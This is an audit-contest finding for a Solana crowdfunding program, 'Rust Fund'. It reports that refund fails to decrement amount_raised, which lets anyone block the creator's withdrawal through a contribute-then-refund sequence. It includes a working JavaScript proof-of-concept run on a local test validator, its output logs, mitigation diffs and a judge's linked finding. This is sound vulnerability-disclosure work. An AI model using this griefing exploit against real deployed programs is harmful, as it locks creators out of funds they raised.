Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: medium
Valid

`refund` moves lamports out of the fund without decrementing `amount_raised`, leaving a contribute-then-refund griefing primitive that blocks the creator's withdrawal at almost zero cost

The refund path debits the fund's lamports but not the fund's counter, so anyone can inflate amount_raised above the real balance and keep it there permanently

Description

  • amount_raised is what withdraw pays out against, so every lamport that leaves the fund has to be subtracted from it. There are two outflow paths in the program — refund and withdraw — and the counter must fall on both.

  • refund debits the fund's lamports and clears the contributor's own record, but leaves fund.amount_raised untouched. The counter therefore only ever grows, and after any refund it permanently overstates what the PDA actually holds. Because withdraw demands the counter's value, an inflated counter denies the creator their entire raise.

// src/lib.rs:66-88
pub fn refund(ctx: Context<FundRefund>) -> Result<()> {
let amount = ctx.accounts.contribution.amount;
...
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
@> .checked_sub(amount) // @> lamports leave the fund here
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.contributor.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.contributor.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
// Reset contribution amount after refund
@> ctx.accounts.contribution.amount = 0; // @> the CONTRIBUTOR's ledger is corrected...
@> // @> MISSING: fund.amount_raised -= amount; <- ...but the FUND's ledger is not
Ok(())
}

The counter is written in exactly two places across the whole program, and neither is a decrement:

// src/lib.rs:19 (fund_create)
fund.amount_raised = 0;
// src/lib.rs:50 (contribute)
fund.amount_raised += amount;

contribute credits it, refund refunds against it without debiting it. That asymmetry is the entire bug: an attacker can push lamports in, pull the same lamports back out, and leave the increment behind.

The griefing sequence

step actor PDA lamports amount_raised
honest campaign reaches its goal contributors R + 3 3
contribute(5 SOL) attacker R + 8 8
refund() attacker R + 3money returned 8increment stays
withdraw() creator needs 8 from R + 3 reverts

The attacker ends the sequence holding their own 5 SOL again, having paid transaction fees and the rent for their own Contribution account. The creator is left unable to collect a campaign that met its goal. The inflation amount is chosen freely by the attacker and is bounded only by what they can hold momentarily, since they get it straight back.

Why this is a separate defect from the withdrawal-side accounting bug

They share a symptom and nothing else. This one is in refund (line ~85) and is triggered by any contributor; the withdrawal-side omission is in withdraw (line ~104) and is triggered by the creator against themselves. The fixes are different lines in different functions — fund.amount_raised -= amount in refund versus zeroing the counter in withdraw — and applying either one leaves the other fully intact. A patch that only zeroes the counter on withdrawal does nothing whatsoever about the sequence above.

Risk

Likelihood:

  • Fully permissionless. Any address can do it: contribute, then refund. Both instructions are open to any signer, with no allowlist, no minimum, and no timing constraint.

  • Effectively free. Measured attacker cost in the run below: 0.001457680 SOL, which is transaction fees plus the rent for the attacker's own Contribution PDA. The 5 SOL used to inflate the counter comes straight back in the same sequence.

  • Repeatable and cumulative. A fresh keypair repeats it, and each round adds to the deficit; the program has no path that ever lowers the counter.

Impact:

  • The creator cannot collect a campaign that succeeded. withdraw reverts and keeps reverting until someone covers the deficit the attacker created.

  • The griefer chooses the size of the damage. Inflating by 5 SOL costs the attacker nothing and forces a 5 SOL liquidity requirement onto the creator; inflating by 500 SOL costs the same and forces 500.

  • The campaign unwinds asymmetrically. In the run below, while the creator's withdraw is reverting, an honest contributor's refund still succeeds and returns their 1 SOL — so the fund drains out through the contributor side while the creator's side is locked.

Honest limitations

Stated up front, because they materially bound the severity and I would rather set them out than have a judge find them:

  • This is dormant in the code as shipped. A separate defect means contribution.amount is only ever assigned 0, so refund currently moves zero lamports and no divergence can occur. I verified this: running the identical attack against the unmodified program leaves amount_raised = 8 SOL against a PDA holding R + 8 SOL — desync of exactly 0 — and the creator's withdraw succeeds. The attacker simply loses their 5 SOL.

  • It is armed by the obvious fix, not by an exotic one. The natural repair for that defect is a single line, contribution.amount += amount. The PoC below runs against a build where that is the only change; every other line is untouched. That is what turns this from a dormant asymmetry into a live zero-cost griefing primitive, which is why it needs fixing in the same change rather than being discovered afterwards.

  • It is not theft, and it is recoverable. The attacker gains nothing — this is pure griefing. And the fund PDA is an ordinary address, so anyone can top it up with a plain system transfer to cover the deficit and let withdraw through; the PoC demonstrates that recovery rather than hiding it. The cost asymmetry is the point: the attacker pays ~0.0015 SOL, the creator must front whatever the attacker chose.

These bounds are why I have set Impact to Medium rather than High, and Likelihood to Medium rather than High.

Proof of Concept

Two builds are used. The original program shows the defect is currently dormant. The patched build differs from it by exactly one line — contribution.amount += amount; added after line 50 — and shows the same attack landing.

# build the original, and a copy with only the amount-recording line added
cargo build-sbf
solana-test-validator --reset \
--bpf-program 6vxyM2QFNg3njwCQksy4K8azF5NwKxiUkEEG2hxqz15h target/deploy/rustfund.so \
--bpf-program <PATCHED_ID> patched/target/deploy/rustfund.so
npm install @solana/web3.js && node poc.mjs patched # and: node poc.mjs orig
import {
Connection, Keypair, PublicKey, SystemProgram, Transaction,
TransactionInstruction, LAMPORTS_PER_SOL, sendAndConfirmTransaction,
} from "@solana/web3.js";
import { createHash } from "crypto";
const ORIG = new PublicKey("6vxyM2QFNg3njwCQksy4K8azF5NwKxiUkEEG2hxqz15h");
const PATCHED = new PublicKey("Dcj5ngngf13bebjskmcwo2yrLouJ12XV9vAyUF1rsX67"); // same code + one line
const PROGRAM_ID = process.argv[2] === "orig" ? ORIG : PATCHED;
const conn = new Connection("http://127.0.0.1:8899", "confirmed");
const SYS = SystemProgram.programId;
const disc = (n) => createHash("sha256").update(`global:${n}`).digest().subarray(0, 8);
const u64 = (n) => { const b = Buffer.alloc(8); b.writeBigUInt64LE(BigInt(n)); return b; };
const str = (s) => { const d = Buffer.from(s); const l = Buffer.alloc(4); l.writeUInt32LE(d.length); return Buffer.concat([l, d]); };
const M = (pubkey, isSigner, isWritable) => ({ pubkey, isSigner, isWritable });
const sol = (l) => (l / LAMPORTS_PER_SOL).toFixed(9);
async function air(kp, n = 50) {
const sig = await conn.requestAirdrop(kp.publicKey, n * LAMPORTS_PER_SOL);
await conn.confirmTransaction({ signature: sig, ...(await conn.getLatestBlockhash()) }, "confirmed");
}
const send = (ixs, s) => sendAndConfirmTransaction(conn, new Transaction().add(...ixs), s, { commitment: "confirmed" });
async function trySend(ixs, s) {
try { await send(ixs, s); return { okd: true }; }
catch (e) { return { okd: false, why: ((e.logs || []).join("\n").match(/Error Message: [^\n]+/) || ["reverted"])[0] }; }
}
const lam = async (pk) => (await conn.getAccountInfo(pk, "confirmed"))?.lamports ?? 0;
async function readFund(pda) {
const d = (await conn.getAccountInfo(pda, "confirmed")).data;
let o = 8; const nl = d.readUInt32LE(o); o += 4 + nl;
const dl = d.readUInt32LE(o); o += 4 + dl;
const goal = d.readBigUInt64LE(o); o += 8 + 8 + 32;
return { goal, amountRaised: d.readBigUInt64LE(o) };
}
const readContribAmount = async (pda) => (await conn.getAccountInfo(pda, "confirmed"))?.data.readBigUInt64LE(72) ?? null;
const cPda = (f, w) => PublicKey.findProgramAddressSync([f.toBuffer(), w.toBuffer()], PROGRAM_ID)[0];
const ixCreate = (f, c, name, goal) => new TransactionInstruction({ programId: PROGRAM_ID,
keys: [M(f, false, true), M(c, true, true), M(SYS, false, false)],
data: Buffer.concat([disc("fund_create"), str(name), str("campaign"), u64(goal)]) });
const ixContribute = (f, w, cp, amt) => new TransactionInstruction({ programId: PROGRAM_ID,
keys: [M(f, false, true), M(w, true, true), M(cp, false, true), M(SYS, false, false)],
data: Buffer.concat([disc("contribute"), u64(amt)]) });
const ixRefund = (f, cp, w) => new TransactionInstruction({ programId: PROGRAM_ID,
keys: [M(f, false, true), M(cp, false, true), M(w, true, true), M(SYS, false, false)], data: disc("refund") });
const ixWithdraw = (f, c) => new TransactionInstruction({ programId: PROGRAM_ID,
keys: [M(f, false, true), M(c, true, true), M(SYS, false, false)], data: disc("withdraw") });
(async () => {
console.log(`program under test: ${PROGRAM_ID.toBase58()} (${PROGRAM_ID.equals(ORIG) ? "ORIGINAL" : "amount-recording fix applied, nothing else changed"})\n`);
const creator = Keypair.generate(), attacker = Keypair.generate();
const honest = [Keypair.generate(), Keypair.generate(), Keypair.generate()];
for (const k of [creator, attacker, ...honest]) await air(k);
const name = "grief-" + Math.floor(Date.now() / 1000);
const [f] = PublicKey.findProgramAddressSync([Buffer.from(name), creator.publicKey.toBuffer()], PROGRAM_ID);
await send([ixCreate(f, creator.publicKey, name, 3 * LAMPORTS_PER_SOL)], [creator]);
const R = await lam(f);
for (const h of honest) await send([ixContribute(f, h.publicKey, cPda(f, h.publicKey), 1 * LAMPORTS_PER_SOL)], [h]);
let fs = await readFund(f);
console.log(`campaign SUCCEEDED: raised ${sol(Number(fs.amountRaised))} of ${sol(Number(fs.goal))} SOL; PDA holds ${sol(await lam(f))} SOL`);
console.log(`(rent reserve R = ${sol(R)} SOL)\n`);
const A = 5 * LAMPORTS_PER_SOL;
const attBefore = await lam(attacker.publicKey);
await send([ixContribute(f, attacker.publicKey, cPda(f, attacker.publicKey), A)], [attacker]);
console.log(`attacker contributes ${sol(A)} SOL -> Contribution.amount = ${await readContribAmount(cPda(f, attacker.publicKey))}`);
const rr = await trySend([ixRefund(f, cPda(f, attacker.publicKey), attacker.publicKey)], [attacker]);
fs = await readFund(f);
console.log(`attacker refunds -> ${rr.okd ? "ACCEPTED" : "rejected: " + rr.why}`);
console.log(`attacker net position: ${sol((await lam(attacker.publicKey)) - attBefore)} SOL (fees + Contribution rent only)`);
console.log(`fund state now: PDA holds ${sol(await lam(f))} SOL but amount_raised = ${sol(Number(fs.amountRaised))} SOL <-- DESYNC of ${sol(Number(fs.amountRaised) - (await lam(f)) + R)} SOL\n`);
const w = await trySend([ixWithdraw(f, creator.publicKey)], [creator]);
console.log(`creator withdraw -> ${w.okd ? "SUCCEEDED" : "REVERTED: " + w.why}`);
const h0 = honest[0], hBefore = await lam(h0.publicKey);
const hr = await trySend([ixRefund(f, cPda(f, h0.publicKey), h0.publicKey)], [h0]);
console.log(`honest contributor refunds anyway -> ${hr.okd ? "ACCEPTED" : "rejected: " + hr.why}` +
(hr.okd ? ` (+${sol((await lam(h0.publicKey)) - hBefore)} SOL)` : ""));
// disclosed limitation: an external top-up of the deficit restores the creator's withdrawal
fs = await readFund(f);
const need = Number(fs.amountRaised) - (await lam(f));
if (need > 0) {
const donor = Keypair.generate(); await air(donor, Math.ceil(need / LAMPORTS_PER_SOL) + 2);
await send([SystemProgram.transfer({ fromPubkey: donor.publicKey, toPubkey: f, lamports: need })], [donor]);
const w2 = await trySend([ixWithdraw(f, creator.publicKey)], [creator]);
console.log(`after an external top-up of ${sol(need)} SOL: withdraw -> ${w2.okd ? "SUCCEEDED" : "REVERTED"} (recovery is possible - disclosed)`);
}
})();

Against the patched build — the attack lands:

program under test: Dcj5ngngf13bebjskmcwo2yrLouJ12XV9vAyUF1rsX67 (amount-recording fix applied, nothing else changed)
campaign SUCCEEDED: raised 3.000000000 of 3.000000000 SOL; PDA holds 3.037590960 SOL
(rent reserve R = 0.037590960 SOL)
attacker contributes 5.000000000 SOL -> Contribution.amount = 5000000000
attacker refunds -> ACCEPTED
attacker net position: -0.001457680 SOL (fees + Contribution rent only)
fund state now: PDA holds 3.037590960 SOL but amount_raised = 8.000000000 SOL <-- DESYNC of 5.000000000 SOL
creator withdraw -> REVERTED: Error Message: An account's balance was too small to complete the instruction.
honest contributor refunds anyway -> ACCEPTED (+0.999995000 SOL)
after an external top-up of 5.962409040 SOL: withdraw -> SUCCEEDED (recovery is possible - disclosed)

Against the original build — dormant, exactly as disclosed above:

program under test: 6vxyM2QFNg3njwCQksy4K8azF5NwKxiUkEEG2hxqz15h (ORIGINAL)
attacker contributes 5.000000000 SOL -> Contribution.amount = 0
attacker refunds -> ACCEPTED
attacker net position: -5.001457680 SOL (fees + Contribution rent only)
fund state now: PDA holds 8.037590960 SOL but amount_raised = 8.000000000 SOL <-- DESYNC of 0.000000000 SOL
creator withdraw -> SUCCEEDED

The two runs differ by one line of Rust. The attacker's net position moves from −5.0015 SOL to −0.0015 SOL, and the creator's withdrawal moves from succeeding to reverting.

Recommended Mitigation

Decrement the fund's counter on the refund path so both ledgers move together.

// Reset contribution amount after refund
ctx.accounts.contribution.amount = 0;
+ ctx.accounts.fund.amount_raised = ctx.accounts.fund.amount_raised
+ .checked_sub(amount)
+ .ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}

A zero-amount guard at the top of refund is worth adding alongside it, so that a refund which would move nothing fails loudly instead of silently succeeding:

pub fn refund(ctx: Context<FundRefund>) -> Result<()> {
let amount = ctx.accounts.contribution.amount;
+ if amount == 0 {
+ return Err(ErrorCode::NothingToRefund.into());
+ }

The invariant that should hold after every instruction is fund.to_account_info().lamports() >= rent_minimum + fund.amount_raised. It is worth asserting directly, because it catches this class of divergence on whichever outflow path introduces it.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 13 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-03] Fund Creator Can't Withdraw If Someone Has Refunded Their Contribution

# \[H-02] Fund Creator Can't Withdraw If Someone Has Refunded Their Contribution ## Description The `refund` function does not update `fund.amount_raised`, causing an inconsistency between the fund's actual balance and the recorded raised amount. As a result, when the fund creator tries to withdraw funds, the transaction may fail due to insufficient balance, effectively locking funds in the contract. ## Vulnerability Details The issue arises in the `refund` function, which transfers funds back to the contributor but does not update the `amount_raised` field: ```rust pub fn refund(ctx: Context<FundRefund>) -> Result<()> { let amount = ctx.accounts.contribution.amount; if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; ctx.accounts.contributor.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.contributor.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; // Reset contribution amount after refund ctx.accounts.contribution.amount = 0; Ok(()) } ``` The issue becomes evident when the fund creator attempts to withdraw using the following function: ```rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { let amount = ctx.accounts.fund.amount_raised; ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` Since `amount_raised` is never updated when a refund occurs, the creator will attempt to withdraw more than what actually exists in the fund, causing an insufficient funds error and failing the transaction. ## Impact - If any contributor requests a refund, the total balance in the fund decreases. However, `fund.amount_raised` remains unchanged, leading to an overestimated available balance. - When the fund creator calls `withdraw`, they attempt to transfer `fund.amount_raised`, which no longer matches the actual available balance. - This results in a failed transaction, effectively locking funds in the contract since the withdraw function will always fail if refunds have been processed. ## Proof of Concept This issue is not currently caught by tests because the `contribute` function itself has a bug (not updating `contribution.amount`), preventing the refund function from executing properly. Once the contribute function is fixed, the issue will be clearly visible in test cases. ## Recommendations The `refund` function must update `fund.amount_raised` to ensure the contract state reflects the actual balance after refunds. ### Fixed Code: ```diff pub fn refund(ctx: Context<FundRefund>) -> Result<()> { let amount = ctx.accounts.contribution.amount; if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; ctx.accounts.contributor.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.contributor.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; // Reset contribution amount after refund ctx.accounts.contribution.amount = 0; + // Fix: Decrease the fund's recorded amount_raised + let fund = &mut ctx.accounts.fund; + fund.amount_raised = fund.amount_raised.checked_sub(amount).ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!